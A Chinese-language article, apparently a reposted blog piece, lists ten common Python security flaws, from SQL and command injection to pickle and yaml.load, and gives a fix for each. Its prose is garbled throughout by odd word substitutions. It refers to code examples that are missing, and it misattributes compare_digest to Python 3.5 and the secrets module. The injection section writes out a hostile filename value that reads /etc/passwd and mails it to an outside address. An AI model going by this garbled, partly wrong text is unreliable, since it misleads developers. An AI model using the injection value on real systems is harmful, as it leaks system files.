以下是我总结的10个Python常见安全漏洞,排名不分先后。
1、输入注入
注入攻击影响广泛且很常见,注入有很多种类,它们影响所有的措辞、框架和环境。

SQL 注入是直接编写 SQL 查询(而非利用 ORM) 时将字符串与变量稠浊。我读过很多代码,个中“引号字符转义”被认为是一种修复,但事实并非如此,可以通过这个链接(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)查看 SQL 注入所有可能发生的办法。
命令注入有可能在利用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。
下面是个大略的脚本(链接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),利用用户供应的文件名调用子进程:
攻击者会将filename的值设置为“; cat /etc/passwd | mail them@domain.com或者其他同样危险的值。
修复方法:
如果你利用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的情由,否则不要手动构建 SQL 查询,大多数 ORM 都有内置的清理方法。
对付 shell,可以利用 shlex 模块精确地转义输入。
2、解析XML
如果您的运用程序加载并解析XML文件,可能您正在利用一个XML标准库模块。有一些针对XML的常见攻击。大多数为DoS风格(旨毁坏系统而不是盗取数据)。这些攻击很常见,特殊是在解析外部(即不可信赖的)XML文件时。
个中一种攻击为“billion laughs”,由于加载的文件包含了很多个(数十亿)“lols”。你可以加载XML实体文件,当XML解析器试图将这个XML文件加载到内存中时,会花费很多个G的内存。不信就试试看:-)
另一种攻击利用外部实体扩展。 XML支持从外部URL引用实体,XML解析器常日会直接获取并加载该资源。“攻击者可以绕开防火墙访问保密资源,由于所有要求都是由内部可信的IP地址创建的,要求不是来自于外部。”
须要考虑的另一种情形是您要依赖于第三方软件包来解码XML,例如配置文件,远程API。您乃至不知道您的某个依赖包已经暴露在攻击之下。
那么在Python中会发生什么?标准库模块etree,DOM,xmlrpc都随意马虎遭受这些类型的攻击。详情参考此链接: https://docs.python.org/3/library/xml.html#xml-vulnerabilities
修复方法:
直接用defusedxml(链接:https://pypi.org/project/defusedxml/)更换标准库模块。它增加了针对这类攻击的安全防护。
3、Assert 语句
不要利用 assert 语句来防止用户访问特定代码段。例如:
默认情形下,Python 以 __debug__ 为 true 来实行脚本,但在真实环境中,常日利用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin 。
修复方法:
仅在单元测试中利用 assert 语句。
4、计时攻击
计时攻击实质上是一种通过打算比较供应值所需韶光来暴露行为和算法的办法。计时攻击须要精确性,以是常日不能用于高延迟的远程网络。由于大多数 Web 运用程序涉及可变延迟,因此险些不可能针对 HTTP Web 做事器编写计时攻击。
但是,如果你的运用程序有提示输入密码的命令行,攻击者就可以编写一个大略的脚本来打算将其值与实际密码进行比较所需的韶光。例子参考链接:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/
这里有一个基于SSH计时攻击的Python 工具,你可以看看如何利用它。链接:https://github.com/c0r3dump3d/osueta
修复方法:
利用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。
5、传染site-packages 或导入路径
Python的导入系统非常灵巧。当你为测试程序编写猴子补丁,或者重载核心函数时,你会觉得非常方便。
但这也是Python最大的安全漏洞之一。
将第三方包安装到site-packages中,无论是在虚拟环境中还是在全局site-packages中,你都将暴露在安全风险中。
有一些发布到PyPi的包与盛行的包具有相似的名称,但是却实行了任意代码。幸运的是,这很可能没有太大危害,只会“明确表示”这个问题没有得到真正的办理。
须要考虑的另一种情形是多层依赖包。它们可能包含漏洞,它们也可以通过导入系统重写Python默认行为。
修复方法:
你可以利用PyUp.io这个网站供应的工具检讨你的第三方包。利用虚拟环境,确保您的全局site-packages尽可能干净。检讨包署名。
6、临时文件
要在 Python 中创建临时文件,你常日会利用 mktemp ( )函数天生一个文件名,然后利用该名称创建一个文件。 “这是不屈安的,由于另一个进程可能会在调用 mktemp ( )和随后考试测验通过第一个进程创建文件之间的空隙创建一个同名文件。”这意味着运用程序可能加载缺点的数据或暴露其他的临时数据。
如果调用禁绝确,最新版本的 Python 会发出运行警告。
修复方法:
如果须要天生临时文件,请利用 tempfile 模块并利用 mkstemp。(参考链接:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)
7、利用 yaml.load
这里引用 PyYAML 的解释文档:警告:利用不可信源的数据调用 yaml.load 是不屈安的!
yaml.load 和pickle.load 一样强大,以是可以调用任何 Python 函数。
在盛行的Python项目 Ansible 中找到的这样一个例子(链接:https://www.talosintelligence.com/reports/TALOS-2017-0305),你可以将此值供应给 Ansible Vault作为(有效的)YAML,它利用文件中供应的参数调用 os.system。
以是,从用户供应的值中加载 YAML 文件会让运用大门洞开,很随意马虎遭受攻击。
修复方法:
总是利用 yaml.safe_load,除非你有其它更好的方法。
8、Pickle漏洞
用pickle反序列化数据和YAML一样糟糕。在pickle工具时,Python类可以声明一个名为__reduce__的魔术方法,该方法返回一个字符串、或一个元组。攻击者可以利用它来引用个中一个子进程模块,在主机上运行任意命令。
这有一个在Python2中pickle一个类并打开shell的例子(链接:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法请看这个链接:https://lincolnloop.com/blog/playing-pickle-security/
修复方法:
切勿用pickle反序列化不受信赖或未经身份验证的数据。改用另一种序列化模式,如JSON。
9、利用系统自带的Python而不修补漏洞
大多数可移植操作系统都自带Python2,常日还是旧版本。
由于“Python”,即CPython是用C措辞编写的,以是Python阐明器本身存在漏洞。 C措辞中常见的安全问题与内存分配有关,以是存在缓冲区溢出错误。
多年来CPython涌现了多个溢出漏洞,每个漏洞都在后续版本中进行了修复。
也便是说,如果你修补了Python本身的漏洞,你便是安全的。
这里有一个Python2.7.13及以下版本的整数溢出漏洞实例,链接:https://www.cvedetails.com/cve/CVE-2017-1000158/。 Ubuntu17以前版本的Python漏洞请参看链接:https://distrowatch.com/table.php?distribution=ubuntu
修复方法:
安装最新版本的Python并及时修补漏洞。
10、不修补依赖包的漏洞
类似于修补Python本身的漏洞,您还须要定期修补依赖包漏洞。有人习气于利用PyPi软件包的“固定”版本,这种做法很恐怖。他们认为“这些是有用的版本”,以是每个人都对漏洞熟视无睹。
上面提到的所有漏洞如果存在于你利用的包中,它们同样很致命。这些软件包的开拓职员无时不刻不在办理安全问题。
修复方法:
利用类似于PyUP.io这个网站供应的做事去检讨更新,向运用程序发送pull/merge 要求,运行测试,让软件包保持更新。利用InSpec这样的工具(链接:https://www.inspec.io/docs/reference/resources/pip/)来验证真实环境中的安装版本,并确保修补了最小版本或多个连续版本的漏洞。